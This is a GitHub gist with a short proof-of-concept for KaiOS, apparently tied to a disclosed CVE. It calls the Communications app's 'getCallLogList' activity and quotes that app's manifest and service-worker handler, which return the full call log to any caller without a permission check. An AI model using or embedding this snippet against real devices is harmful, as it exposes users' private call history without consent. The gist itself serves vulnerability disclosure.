Skip to content

Instantly share code, notes, and snippets.

@Tombarr
Created February 20, 2023 16:05
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Tombarr/5ed6675f33e0eca149a8b4d38ce76dda to your computer and use it in GitHub Desktop.
Save Tombarr/5ed6675f33e0eca149a8b4d38ce76dda to your computer and use it in GitHub Desktop.
KaiOS getCallLogList Activity
let activity = new WebActivity('getCallLogList', {
type: "calllog/tel"
});
activity.start()
.then((callLogs) => {
console.log(callLogs); // Array[]
});
/*
Exposed via pre-installed Communications app
Manifest URL: http://communications.localhost/manifest.webmanifest
manifest.webmanifest
"activities": {
"getCallLogList": {
"filters": {
"type": {
"required": true,
"value": [
"calllog/tel"
]
}
},
"returnValue": true
}
}
serviceWorker.js
let handler = null;
const db = new DB();
let pickHandler = null;
let getListHandler = null;
self.onsystemmessage = evt => {
console.log('communications onsystemmessage: ' + evt.name);
let data = null;
let viewInfo = null;
evt.waitUntil(
(() => {
switch (evt.name) {
case 'activity':
handler = evt.data.webActivityRequestHandler();
if (handler.source.name === 'getCallLogList') {
getListHandler = handler;
db.getAllData()
.then(list => {
getListHandler.postResult(list);
getListHandler = null;
})
.catch(() => {
getListHandler.postResult([]);
getListHandler = null;
});
}
break;
default:
console.log('Illegal message');
}
})()
);
};
*/
@Tombarr
Copy link
Author

Tombarr commented May 3, 2023

Live example and details available at https://kaios.dev/cve/1409490

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment